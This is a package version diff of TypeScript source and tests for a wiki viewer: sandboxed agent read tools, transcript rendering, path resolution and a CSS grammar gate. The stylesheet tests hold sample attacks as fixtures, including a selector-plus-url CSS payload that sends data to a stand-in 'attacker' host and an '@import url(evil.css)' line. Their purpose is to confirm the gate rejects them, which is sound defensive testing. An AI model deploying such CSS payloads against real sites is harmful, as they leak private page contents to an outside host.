@immediately-run/grove 0.1.1 → 0.1.3

package/src/lib/agentTools.ts

@@ -0,0 +1,132 @@
+// Grove's agent tools (GROVE_AGENT_SPEC R-GA-2): the SDK grant-filtered catalog is
+// the authority surface, and the two corpus tools here are mount-chrooted reads the
+// catalog model cannot name — `read_entry` (bodies) and the SDK's `metadata:query`
+// (the index). One corpus, two tools: the metadata tool's rows are confined to
+// `read_entry`'s chroot, and no row whose body the read tool cannot legally open is
+// ever returned.
+//
+// Everything the tools return is corpus-derived bytes entering the loop — fenced
+// (R-GA-7) before the model sees it.
+
+import fs from 'fs';
+import {
+  createMetadataQueryTool,
+  fenceUntrusted,
+  type AgentTool,
+  type FilesMetadata,
+} from '@immediately-run/sdk';
+import { isContentEntry } from './content';
+
+/** Strip a leading YAML frontmatter block (and optional BOM) — frontmatter is the
+ *  index's job; `read_entry` returns the body. Mirrors SafeEntryBody's stripper. */
+function stripFrontmatter(src: string): string {
+  return src.replace(/^\uFEFF?---\r?\n[\s\S]*?\r?\n---[ \t]*\r?\n?/, '');
+}
+
+/** A read bound: generous for a wiki entry, small enough that a stuffed body cannot
+ *  swamp the prompt on a provider with a modest window. */
+const MAX_ENTRY_BYTES = 120 * 1024;
+
+/** The slice of fs the read tool needs — injected so tests spy on it (G-GA-4). */
+export type EntryReader = (absPath: string) => Promise<string>;
+
+export const READ_ENTRY_TOOL_NAME = 'read_entry';
+
+/**
+ * The corpus body read, chrooted to the content root (`getContentRoot()` at factory
+ * time). Input is a path RELATIVE to that root; traversal and absolute escapes are
+ * rejected — outside paths are unnameable, the same answer a genuine miss gets.
+ */
+export function createReadEntryTool(chroot: string, read: EntryReader = (p) => fs.promises.readFile(p, 'utf8') as Promise<string>): {
+  name: string;
+  description: string;
+  inputSchema: Record<string, unknown>;
+  execute: (raw: unknown) => Promise<{ content: string; isError?: boolean }>;
+} {
+  const root = chroot.endsWith('/') ? chroot : `${chroot}/`;
+  return {
+    name: READ_ENTRY_TOOL_NAME,
+    description:
+      `Read one wiki entry's body (Markdown/MDX, frontmatter stripped), by path relative to the corpus root ` +
+      `(e.g. "wiki/security.mdx"). Paths outside the corpus are not readable.`,
+    inputSchema: {
+      type: 'object',
+      additionalProperties: false,
+      required: ['path'],
+      properties: { path: { type: 'string', description: 'Entry path relative to the corpus root.' } },
+    },
+    async execute(raw: unknown) {
+      if (typeof raw !== 'object' || raw === null || Array.isArray(raw)) {
+        return { content: 'invalid-params: input must be an object', isError: true };
+      }
+      const rel = (raw as { path?: unknown }).path;
+      if (
+        typeof rel !== 'string' ||
+        !rel ||
+        rel.length > 512 ||
+        rel.includes('\u0000') ||
+        rel.startsWith('/') // an absolute path is an escape attempt, not a corpus key
+      ) {
+        return { content: 'invalid-params: path must be a non-empty corpus-relative string', isError: true };
+      }
+      // The chroot is the corpus: resolve relative, normalize, and re-verify the
+      // prefix — belt-and-braces with the host's own scoping (ways_of_working §2).
+      let abs: string;
+      try {
+        abs = new URL(`file://${root}${rel.replace(/^\//, '')}`).pathname;
+      } catch {
+        return { content: 'invalid-params: unresolvable path', isError: true };
+      }
+      if (!abs.startsWith(root)) {
+        return { content: 'invalid-params: path escapes the corpus root', isError: true };
+      }
+      try {
+        const rawBody = await read(abs);
+        const body = stripFrontmatter(rawBody).slice(0, MAX_ENTRY_BYTES);
+        if (!body.trim()) return { content: fenceUntrusted(`tool-result: ${rel}`, '(empty entry)'), isError: true };
+        return { content: fenceUntrusted(`tool-result: ${rel}`, body) };
+      } catch (e) {
+        const code = (e as { code?: string })?.code;
+        const msg = (e as Error).message ?? String(e);
+        // ENOENT and a chroot rejection read the same to the model — no existence
+        // oracle for what lies outside the grant (threat_model P7).
+        return { content: code ? `${code}: ${rel}` : `read failed: ${msg}`, isError: true };
+      }
+    },
+  };
+}
+
+/** Grove's row policy for the metadata tool: `_`-prefixed files are structure, not
+ *  reader-facing entries (the `isContentEntry` cut the rest of the viewer uses). */
+const rowPolicy = (absPath: string): boolean => isContentEntry(absPath);
+
+/** The metadata query tool over the in-scope index, confined to the corpus chroot. */
+export function createGroveMetadataTool(chroot: string, getIndex: () => FilesMetadata) {
+  return createMetadataQueryTool({ chroot, getIndex, filter: rowPolicy });
+}
+
+/** Both tools in the loop's `AgentTool` shape. */
+export function groveAgentTools(chroot: string, getIndex: () => FilesMetadata, read?: EntryReader): AgentTool[] {
+  const entry = createReadEntryTool(chroot, read);
+  const meta = createGroveMetadataTool(chroot, getIndex);
+  return [
+    { name: entry.name, description: entry.description, input_schema: entry.inputSchema },
+    { name: meta.name, description: meta.description, input_schema: meta.inputSchema },
+  ];
+}
+
+/** Execute by name across the tool set — the loop's `ToolExecutor`. */
+export function toolExecutor(
+  tools: Array<{ name: string; execute: (raw: unknown) => Promise<{ content: string; isError?: boolean }> | { content: string; isError?: boolean } }>,
+): (name: string, input: Record<string, unknown>) => Promise<{ content: string; isError?: boolean }> {
+  const byName = new Map(tools.map((t) => [t.name, t]));
+  return async (name, input) => {
+    const t = byName.get(name);
+    if (!t) {
+      // An off-list call is the model hallucinating a tool — answer as the host
+      // would (R-GA-2: an off-catalog call is forbidden and stays that way).
+      return { content: `forbidden: no such tool (${name})`, isError: true };
+    }
+    return t.execute(input);
+  };
+}

package/src/lib/agentTranscript.ts

@@ -0,0 +1,50 @@
+// Transcript mapping (GROVE_AGENT_SPEC S2): the loop's AgentMessage[] → the rows
+// the panel renders. Tool traffic becomes compact activity rows ("read
+// wiki/security.mdx", "queried the index") — the model's own text streams as
+// assistant rows, and nothing from a tool result is rendered unfenced into the
+// transcript surface.
+
+import type { AgentMessage } from '@immediately-run/sdk';
+import { READ_ENTRY_TOOL_NAME } from './agentTools';
+import { METADATA_QUERY_TOOL_NAME } from '@immediately-run/sdk';
+
+export type AgentRow =
+  | { kind: 'user'; text: string }
+  | { kind: 'assistant'; text: string }
+  | { kind: 'activity'; text: string };
+
+/** One tool call, as a line the reader can scan. */
+export function toolActivityLine(name: string, input: Record<string, unknown>): string {
+  if (name === READ_ENTRY_TOOL_NAME) return `read ${String(input.path ?? '?')}`;
+  if (name === METADATA_QUERY_TOOL_NAME) {
+    const w = input.where;
+    if (Array.isArray(w) && w.length) {
+      const first = w[0] as { key?: unknown; value?: unknown };
+      return `queried the index — ${String(first.key ?? '')} ${String(first.value ?? '')}`.trim();
+    }
+    return 'queried the index';
+  }
+  return name;
+}
+
+export function transcriptToRows(messages: AgentMessage[]): AgentRow[] {
+  const rows: AgentRow[] = [];
+  for (const m of messages) {
+    if (m.role === 'user') {
+      const toolResults = m.content.filter((b) => b.type === 'tool_result');
+      if (toolResults.length) continue; // activity, rendered at its tool_use site
+      const text = m.content
+        .filter((b): b is { type: 'text'; text: string } => b.type === 'text')
+        .map((b) => b.text)
+        .join('');
+      if (text.trim()) rows.push({ kind: 'user', text: text.trim() });
+    } else {
+      const blocks = m.content;
+      for (const b of blocks) {
+        if (b.type === 'text' && b.text.trim()) rows.push({ kind: 'assistant', text: b.text.trim() });
+        else if (b.type === 'tool_use') rows.push({ kind: 'activity', text: toolActivityLine(b.name, b.input) });
+      }
+    }
+  }
+  return rows;
+}

package/src/lib/assetPath.test.ts

@@ -0,0 +1,36 @@
+// The pure resolver (R3-313): entry-relative resolution against the OWNING entry,
+// the absolute-`/` escape, traversal, and the degrade-to-empty contract.
+import { describe, it, expect } from 'vitest';
+import { resolvePath, entryAssetRelPath } from './assetPath';
+
+describe('resolvePath', () => {
+  it('resolves relative to the base file directory', () => {
+    expect(resolvePath('/app/content/wiki/a.mdx', 'pic.png')).toBe('/app/content/wiki/pic.png');
+    expect(resolvePath('/app/content/wiki/a.mdx', './pic.png')).toBe('/app/content/wiki/pic.png');
+    expect(resolvePath('/app/content/wiki/a.mdx', '../img/pic.png')).toBe('/app/content/img/pic.png');
+    expect(resolvePath('/app/content/wiki/deep/a.mdx', '../../pic.png')).toBe('/app/content/pic.png');
+  });
+
+  it('an absolute reference roots at the filesystem (the body-image escape rule)', () => {
+    expect(resolvePath('/app/content/wiki/a.mdx', '/app/assets/x.svg')).toBe('/app/assets/x.svg');
+  });
+});
+
+describe('entryAssetRelPath — the MountImage feed', () => {
+  it('strips the root for the root-anchored mount', () => {
+    expect(entryAssetRelPath('/app/content/wiki/a.mdx', 'pic.png')).toBe('app/content/wiki/pic.png');
+  });
+
+  it('empty/absent/malformed src degrades to "" (caller renders the lattice)', () => {
+    expect(entryAssetRelPath('/app/content/a.mdx', undefined)).toBe('');
+    expect(entryAssetRelPath('/app/content/a.mdx', null)).toBe('');
+    expect(entryAssetRelPath('/app/content/a.mdx', '')).toBe('');
+    expect(entryAssetRelPath('/app/content/a.mdx', '   ')).toBe('');
+  });
+
+  it('UNDER DISPATCH the resolved path carries the chroot prefix only as the READ key — the component publishes MountImage object URLs, never this string', () => {
+    // The mount key space is the metadata key space; resolution is prefix-faithful…
+    expect(entryAssetRelPath('/mnt/abc123def456/wiki/a.mdx', 'pic.png')).toBe('mnt/abc123def456/wiki/pic.png');
+    // …which is exactly why the COMPONENT test asserts this string never reaches the DOM.
+  });
+});

package/src/lib/assetPath.ts

@@ -0,0 +1,42 @@
+// Entry-relative asset resolution (R3-313) — the ONE place that turns "an entry's
+// `cover:`/`img src`" into the fs path the SDK's `MountImage` reads.
+//
+// The distinction this module exists for: a body image resolves against the entry
+// CURRENTLY BEING RENDERED (`navigationState.sandboxPath` — `AssetImage`), while a
+// cover resolves against its OWNING entry — the entry the card/row/tile is ABOUT,
+// which under dispatch is usually a DIFFERENT base. Getting this wrong is not a bug
+// in `AssetImage`; it is the second half of design-pass gap 7: a `<DocList>` card or
+// `<Timeline>` row showing another entry's picture resolved against the wrong base
+// by construction.
+//
+// Pure path arithmetic — no fs, no React — so the dispatch guarantee (the chroot
+// prefix is host knowledge the viewer reads THROUGH but never publishes) is testable
+// here in isolation.
+
+/** Resolve `relativePath` against the directory of `basePath` (both fs paths). */
+export function resolvePath(basePath: string, relativePath: string): string {
+  if (relativePath.startsWith('/')) return relativePath;
+  const parts = basePath.split('/');
+  parts.pop(); // the base is the entry's FILE path; assets resolve against its dir
+  for (const part of relativePath.split('/')) {
+    if (part === '.' || part === '') continue;
+    if (part === '..') parts.pop();
+    else parts.push(part);
+  }
+  return parts.join('/');
+}
+
+/**
+ * The mount-relative path `MountImage` should read an entry-declared asset at.
+ *
+ * @param entryPath the OWNING entry's absolute fs path (the metadata key space —
+ *        `/app/content/…` fork, `/mnt/<hash>/…` dispatch)
+ * @param src the declared asset reference (entry-relative, or absolute `/…` which
+ *        roots at the filesystem — the same escape rule body images follow)
+ * @returns the path with the leading slash stripped (root-mount-relative), or `''`
+ *          when there is nothing to resolve (caller degrades)
+ */
+export function entryAssetRelPath(entryPath: string, src: string | undefined | null): string {
+  if (typeof src !== 'string' || !src.trim()) return '';
+  return resolvePath(entryPath, src.trim()).replace(/^\/+/, '');
+}

package/src/lib/collectionCalls.test.ts

@@ -0,0 +1,69 @@
+// The bucket-C gate (R3-309): every documented collection call uses LITERAL
+// attributes only. The interpreter copies `paginate="infinite"` verbatim but
+// drops `paginate={mode}` SILENTLY — the list renders whole with nothing saying
+// why, which is the one failure a corpus author cannot diagnose from inside.
+//
+// The scanner is pure over strings (fault-injectable); the test drives it over
+// every .mdx in content/ — the starters and the sample corpus alike — because a
+// shipped example with an expression prop is a lesson in the failure.
+import { describe, it, expect } from 'vitest';
+import { readFileSync, readdirSync } from 'node:fs';
+import { join } from 'node:path';
+
+/** The components whose calls select collection shapes (the manifest's
+ *  `collections` section rides on these). */
+export const COLLECTION_COMPONENTS = ['DocList', 'Timeline', 'ChildPages', 'DocsByTag'] as const;
+
+/** Every attribute written as an expression (`attr={…}`) on a collection call.
+ *  MDX attribute syntax only; braces inside fenced code are never calls. */
+export function expressionPropsOf(source: string): string[] {
+  const out: string[] = [];
+  const tagRe = new RegExp(`<(${COLLECTION_COMPONENTS.join('|')})[\\s>]`, 'g');
+  for (const m of source.matchAll(tagRe)) {
+    // The tag's span: from the match to the closing `/>` or the matching `>`.
+    const start = m.index!;
+    const end = source.indexOf('/>', start);
+    const end2 = source.indexOf('>', start);
+    const stop = end === -1 ? end2 : Math.min(end, end2);
+    if (stop === -1) continue;
+    const tagText = source.slice(start, stop);
+    for (const a of tagText.matchAll(/(\w+)\s*=\s*\{/g)) out.push(`${m[1]}.${a[1]}`);
+  }
+  return out;
+}
+
+function allMdx(dir = ''): string[] {
+  const out: string[] = [];
+  for (const e of readdirSync(join(process.cwd(), 'content', dir), { withFileTypes: true })) {
+    const rel = dir ? `${dir}/${e.name}` : e.name;
+    if (e.isDirectory()) out.push(...allMdx(rel));
+    else if (e.name.endsWith('.mdx')) out.push(rel);
+  }
+  return out.sort();
+}
+
+describe('collection calls keep their attributes literal (R3-309 bucket C)', () => {
+  it('the scanner finds the corpus (checked > 0), starters included', () => {
+    const files = allMdx();
+    expect(files.length).toBeGreaterThan(10);
+    expect(files.some((f) => f.startsWith('_layouts/'))).toBe(true);
+  });
+
+  it('no expression prop on any collection call in content/', () => {
+    const offenders: string[] = [];
+    for (const f of allMdx()) {
+      const bad = expressionPropsOf(readFileSync(join(process.cwd(), 'content', f), 'utf8'));
+      for (const b of bad) offenders.push(`${f}: ${b}`);
+    }
+    expect(offenders).toEqual([]);
+  });
+
+  it('fault injection: a planted expression prop IS caught', () => {
+    // `paginate="infinite"` is copied verbatim; `paginate={mode}` is dropped
+    // silently. The gate exists for exactly this shape.
+    expect(expressionPropsOf('<DocList shape="grid" paginate={mode} />')).toEqual(['DocList.paginate']);
+    expect(expressionPropsOf('<Timeline limit={n}>x</Timeline>')).toEqual(['Timeline.limit']);
+    // Literals — including string numerals — pass.
+    expect(expressionPropsOf('<DocList shape="grid" limit="4" sort="date" />')).toEqual([]);
+  });
+});

package/src/lib/content.test.ts

@@ -231,10 +231,18 @@ describe('link-space parity (LINK_SPACE_FIXTURE, R3-277b)', () => {
   // packaging's root. The mount-absolute corpus of the fixture is '/app/content'
   // — exactly the fork's — so the corpus-space cases translate verbatim; the
   // fs-rooted/no-corpus case and the chroot collapse are resolver-level (the
-  // checker + SDK suites own them) and are skipped by corpusRoot here.
+  // checker + SDK suites own them) and are skipped by their root field here.
+  //
+  // The root reads NEW-THEN-OLD (`bundleRoot`, else `corpusRoot` — R3-482), matching
+  // the resolver and the docs harness: matching on `corpusRoot` alone would let this
+  // harness go quietly vacuous as fixture cases adopt the new spelling — the filter
+  // would drop them and nothing would go red. An explicit `bundleRoot: null` is a
+  // VALUE ("no bundle root"), not "absent" — it must not fall back.
   const FORK_ROOT = '/app/content';
+  const statedRoot = (c: (typeof LINK_SPACE_FIXTURE)[number]): string | null =>
+    c.bundleRoot !== undefined ? c.bundleRoot : (c.corpusRoot ?? null);
   const contentCases = LINK_SPACE_FIXTURE.filter(
-    (c) => c.corpusRoot === FORK_ROOT && !c.bundleChrooted && c.currentFile !== undefined,
+    (c) => statedRoot(c) === FORK_ROOT && !c.bundleChrooted && c.currentFile !== undefined,
   );
 
   it('the fixture still reaches this harness (non-vacuous)', () => {

package/src/lib/content.ts

@@ -55,6 +55,13 @@ export function isContentEntry(key: string): boolean {
   // counts as an entry in one and not the other is a page that exists but cannot be
   // found — or an index row pointing at a layout wrapper.
   if (!key.startsWith(contentDir())) return false;
+  // R3-309 — underscore-prefixed DIRECTORIES are copy-source, not pages. The canon's
+  // entry rule excludes only the exact `_layout.mdx` filename; `content/_layouts/` (the
+  // layout starters) would otherwise be routable, searchable, indexed pages rendered
+  // mid-catalogue. This is GROVE's rooting-layer policy on top of the canon, not a
+  // second entry rule: the docs corpus has no `_`-directories, so the canon never
+  // needed the rule and grove's starters do.
+  if (/(?:^|\/)_[^/]+\//.test(key.slice(contentDir().length))) return false;
   return isContentEntryPath(key);
 }
 

package/src/lib/contentRoot.ts

@@ -24,6 +24,7 @@ export const APP_CONTENT_ROOT = '/app/content/';
 
 let root: string = APP_CONTENT_ROOT;
 let readOnly = false;
+let mountId: string | null = null;
 
 /** Where this instance's corpus lives, with a trailing slash. Read at CALL time. */
 export function getContentRoot(): string {
@@ -35,10 +36,23 @@ export function getContentRoot(): string {
  * with the delegated directory, or not at all (the fork, which keeps the default).
  * Normalizes the trailing slash so every `startsWith`/`slice` in the helpers holds.
  */
-export function setContentRoot(dir: string, opts: { readOnly?: boolean } = {}): void {
+export function setContentRoot(dir: string, opts: { readOnly?: boolean; mountId?: string | null } = {}): void {
   if (!dir) return;
   root = dir.endsWith('/') ? dir : `${dir}/`;
   readOnly = opts.readOnly ?? false;
+  mountId = opts.mountId ?? null;
+}
+
+/**
+ * The mount id of the corpus, or null for a fork (whose corpus is its own repo, not a
+ * mount). R3-266: this is what an onward delegation NAMES — `capFile({ mountId, relPath })`
+ * — when Grove hands a content file to the platform editor. It lives here with the root
+ * for the same reason the read-only flag does: it is the same fact, decided once by the
+ * same delegation, and every consumer that asks "may I offer an edit, and of what?"
+ * already reads the root.
+ */
+export function getCorpusMountId(): string | null {
+  return mountId;
 }
 
 /** Whether the mounted corpus was delegated read-only. Lives here rather than in React
@@ -58,4 +72,5 @@ export function isDispatched(): boolean {
 export function resetContentRoot(): void {
   root = APP_CONTENT_ROOT;
   readOnly = false;
+  mountId = null;
 }

package/src/lib/contentStylesheet.test.ts

@@ -0,0 +1,80 @@
+// R3-316's grammar gate, adversarially: every forbidden shape is rejected AND
+// NAMED; comment- and string-hidden attempts do not change the verdict; clean
+// declarations pass with their quoted values intact.
+import { describe, it, expect } from 'vitest';
+import { gateStylesheet, blankCssNoise } from './contentStylesheet';
+
+describe('clean sheets pass', () => {
+  it('declarations-only CSS is admitted, quoted values intact', () => {
+    const v = gateStylesheet('--bg: #101010;\n--font-body: "Lora", serif;\n');
+    expect(v.ok).toBe(true);
+    if (v.ok) expect(v.declarations).toContain('"Lora", serif');
+  });
+
+  it('comments are allowed (and carry no verdict)', () => {
+    const v = gateStylesheet('/* a note */\n--bg: #101010;\n');
+    expect(v.ok).toBe(true);
+  });
+});
+
+describe('the forbidden shapes are rejected and NAMED', () => {
+  const cases: Array<[string, string, RegExp]> = [
+    ['a selector', '.sidebar { display: none; }', /selector/],
+    ['url(', '--wash: url(paper.jpg);', /url\(/],
+    ['@import', '@import url(evil.css);', /@import/],
+    ['@font-face', '@font-face { src: url(a.woff2); }', /@font-face/],
+    ['@layer', '@layer grove.content { }', /layer/],
+    ['a bare property (not a custom prop)', 'color: red;', /custom-property/],
+    ['a media at-rule', '@media (min-width: 600px) { }', /at-rules/],
+  ];
+  for (const [name, css, reasonRe] of cases) {
+    it(`${name} → rejected, line named, excerpt quoted`, () => {
+      const v = gateStylesheet(`--ok: 1;\n${css}\n--ok2: 2;\n`);
+      expect(v.ok).toBe(false);
+      if (!v.ok) {
+        expect(v.line).toBe(2);
+        expect(v.reason).toMatch(reasonRe);
+        expect(v.excerpt.length).toBeGreaterThan(0);
+      }
+    });
+  }
+});
+
+describe('hidden attempts do not change the verdict (the blanking rule)', () => {
+  it('a url( inside a COMMENT is ignored — the comment carries no semantics', () => {
+    expect(gateStylesheet('/* url(nothing-here) */\n--bg: #101010;\n').ok).toBe(true);
+  });
+
+  it('a REAL url( after a decoy comment is still caught', () => {
+    const v = gateStylesheet('/* url(decoy) */\n--wash: url(real-evil.jpg);\n');
+    expect(v.ok).toBe(false);
+    if (!v.ok) expect(v.line).toBe(2);
+  });
+
+  it('a selector-shaped STRING inside a declaration is inert data, not a rule — admitted', () => {
+    // String CONTENTS are blanked for the scan (so nothing inside a string can
+    // smuggle a verdict-changing token) and the line remains a well-formed
+    // declaration; a custom property never re-interprets its value as a rule.
+    const v = gateStylesheet(`--note: "{ display: none; }";\n`);
+    expect(v.ok).toBe(true);
+    if (v.ok) expect(v.declarations).toContain('--note:');
+  });
+
+  it('blankCssNoise preserves offsets (line numbers stay true)', () => {
+    const src = 'a { /* comment\nspanning lines */ }';
+    const blanked = blankCssNoise(src);
+    expect(blanked.indexOf('comment')).toBe(-1);
+    expect(blanked.length).toBe(src.length);
+  });
+});
+
+describe('the existence-oracle payload — the attack the grammar exists for', () => {
+  it('the canonical exfiltration attempt is rejected by name', () => {
+    const attack = `a[href^="/content/salary-"] { background-image: url("https://attacker/?hit"); }`;
+    const v = gateStylesheet(attack);
+    expect(v.ok).toBe(false);
+    // Either catch is a correct rejection: the url( (the exfil channel) or the
+    // selector (the reach). Both are named, line-accurate verdicts.
+    if (!v.ok) expect(v.reason).toMatch(/selector|url\(/);
+  });
+});

package/src/lib/contentStylesheet.ts

@@ -0,0 +1,103 @@
+// The content-stylesheet grammar gate (R3-316; plan 05-content-carried-themes).
+//
+// Author-supplied CSS is contained by a GRAMMAR, not by the CSP: a `ui/stylesheet`
+// entry may carry declarations and NOTHING else. A selector would let it reach
+// the DOM (and hide the theme control); `url(`/`@import`/`@font-face` would let
+// it name a network location — the existence-oracle channel the CSP does not
+// close for an INTERPRETED, SHARED space (no CSP at all there), which is the gap
+// this grammar closes in every stance.
+//
+// Comments and strings are BLANKED (whitespace of equal length, offsets
+// preserved) before the SCAN — a `url(` inside a comment must not decide the
+// outcome, and a selector hidden in a string must not be smuggled through. The
+// EMITTED declarations come from the original bytes (a declaration's quoted
+// values are legitimate: `--font-body: "Lora", serif;`), which is safe precisely
+// because the blanked scan already proved every line is a declaration.
+
+export type GateResult =
+  | { ok: true; declarations: string }
+  | { ok: false; line: number; reason: string; excerpt: string };
+
+/** Blank `/* … *``/` comments and quoted strings with offset-preserving whitespace. */
+export function blankCssNoise(src: string): string {
+  const out = src.split('');
+  const blank = (from: number, to: number): void => {
+    for (let k = from; k < to && k < out.length; k++) if (out[k] !== '\n') out[k] = ' ';
+  };
+  let i = 0;
+  while (i < src.length) {
+    const two = src.slice(i, i + 2);
+    if (two === '/*') {
+      const close = src.indexOf('*/', i + 2);
+      const end = close === -1 ? src.length : close + 2;
+      blank(i, end);
+      i = end;
+    } else if (src[i] === '"' || src[i] === "'") {
+      const quote = src[i];
+      let j = i + 1;
+      while (j < src.length && src[j] !== quote) j += src[j] === '\\' ? 2 : 1;
+      blank(i + 1, Math.min(j, src.length)); // blank the CONTENTS, keep the quotes
+      i = Math.min(j + 1, src.length);
+    } else {
+      i += 1;
+    }
+  }
+  return out.join('');
+}
+
+/** The line number (1-based) an index falls on. */
+function lineOf(src: string, idx: number): number {
+  let line = 1;
+  for (let i = 0; i < idx && i < src.length; i++) if (src[i] === '\n') line += 1;
+  return line;
+}
+
+const REJECTS: Array<{ re: RegExp; reason: string }> = [
+  { re: /@import/i, reason: '@import names a location — declarations only' },
+  { re: /@font-face/i, reason: '@font-face is engine-emitted from declared faces, never authored' },
+  { re: /@layer/i, reason: 'layer order is engine-owned' },
+  { re: /@/i, reason: 'at-rules are not declarations' },
+  { re: /\burl\(/i, reason: 'url( names a location — assets are declared (fonts:/assets:), never named' },
+];
+
+/**
+ * Gate a stylesheet's bytes: declarations only, each line `--token: value;`.
+ * A rejected verdict names the line and quotes it from the original bytes.
+ */
+export function gateStylesheet(css: string): GateResult {
+  const blanked = blankCssNoise(css);
+  // At-rules first, so `@font-face { … }` reports @font-face (the specific
+  // violation) rather than the generic brace catch; url( after both.
+  for (const { re, reason } of REJECTS) {
+    const m = re.exec(blanked);
+    if (m) {
+      const line = lineOf(css, m.index);
+      return { ok: false, line, reason, excerpt: css.split('\n')[line - 1]?.trim().slice(0, 80) ?? '' };
+    }
+  }
+  const braced = blanked.search(/[{}]/);
+  if (braced !== -1) {
+    const line = lineOf(css, braced);
+    return {
+      ok: false,
+      line,
+      reason: 'a selector/rule block — a ui/stylesheet carries declarations only',
+      excerpt: css.split('\n')[line - 1]?.trim().slice(0, 80) ?? '',
+    };
+  }
+  const scanLines = blanked.split('\n');
+  const origLines = css.split('\n');
+  for (let i = 0; i < scanLines.length; i++) {
+    const line = scanLines[i].trim();
+    if (!line) continue;
+    if (!/^--[\w-]+\s*:[^;]*;?$/.test(line)) {
+      return {
+        ok: false,
+        line: i + 1,
+        reason: 'not a custom-property declaration (declarations only, `--token: value;`)',
+        excerpt: origLines[i]?.trim().slice(0, 80) ?? '',
+      };
+    }
+  }
+  return { ok: true, declarations: origLines.map((l) => l.trim()).filter(Boolean).join('\n') };
+}

package/src/lib/corpusScan.test.ts

@@ -90,11 +90,14 @@ describe('scanCorpus — the index a dispatched viewer reads', () => {
     expect(meta['/mnt/c/themes.mdx'].owns).toEqual({ concepts: ['the-frame'] });
   });
 
-  it('keeps an entry with NO frontmatter, with empty metadata', async () => {
+  it('keeps an entry with NO frontmatter, with empty metadata (plus the additive headings field)', async () => {
     // A draft or a bare `_layout.mdx` is still part of the corpus; dropping it would make
-    // the file unroutable rather than merely unlabelled.
+    // the file unroutable rather than merely unlabelled. Since the headings index
+    // extension (GROVE_AGENT_SPEC §4) the row carries its heading list too.
     const fs = fakeFs({ '/mnt/c/raw.mdx': '# just a heading\n' });
-    expect(await scanCorpus('/mnt/c', fs)).toEqual({ '/mnt/c/raw.mdx': {} });
+    expect(await scanCorpus('/mnt/c', fs)).toEqual({
+      '/mnt/c/raw.mdx': { headings: [{ id: 'just-a-heading', text: 'just a heading', depth: 1 }] },
+    });
   });
 
   it('loses only the unreadable entry, never the corpus', async () => {
@@ -155,3 +158,34 @@ describe('parseFrontmatter — the grammar the authoring contract documents', ()
     expect(parseFrontmatter(src).data).toEqual({});
   });
 });
+
+describe('scanCorpus — the additive headings index (GROVE_AGENT_SPEC §4)', () => {
+  it('G-GA-7 — a scan emits headings whose ids match the rendered anchors (the mdx-plugins canon)', async () => {
+    const fs = fakeFs({
+      '/mnt/c/a.mdx': '---\ntitle: A\n---\n\n## 8. Capability model\n\n## Getting started\n\n## Getting started\n',
+    });
+    const meta = await scanCorpus('/mnt/c', fs);
+    expect(meta['/mnt/c/a.mdx']).toMatchObject({
+      title: 'A',
+      headings: [
+        { id: 'sec-8', text: '8. Capability model', depth: 2 },
+        { id: 'getting-started', text: 'Getting started', depth: 2 },
+        { id: 'getting-started-1', text: 'Getting started', depth: 2 },
+      ],
+    });
+  });
+
+  it('the author own `headings` frontmatter key wins over the computed field', async () => {
+    const fs = fakeFs({
+      '/mnt/c/a.mdx': '---\ntitle: A\nheadings: authored\n---\n\n## One\n',
+    });
+    const meta = await scanCorpus('/mnt/c', fs);
+    expect(meta['/mnt/c/a.mdx']).toEqual({ title: 'A', headings: 'authored' });
+  });
+
+  it('a heading-less entry simply lacks the field (the old-index degrade)', async () => {
+    const fs = fakeFs({ '/mnt/c/a.mdx': '---\ntitle: A\n---\n\nprose only\n' });
+    const meta = await scanCorpus('/mnt/c', fs);
+    expect(meta['/mnt/c/a.mdx']).toEqual({ title: 'A' });
+  });
+});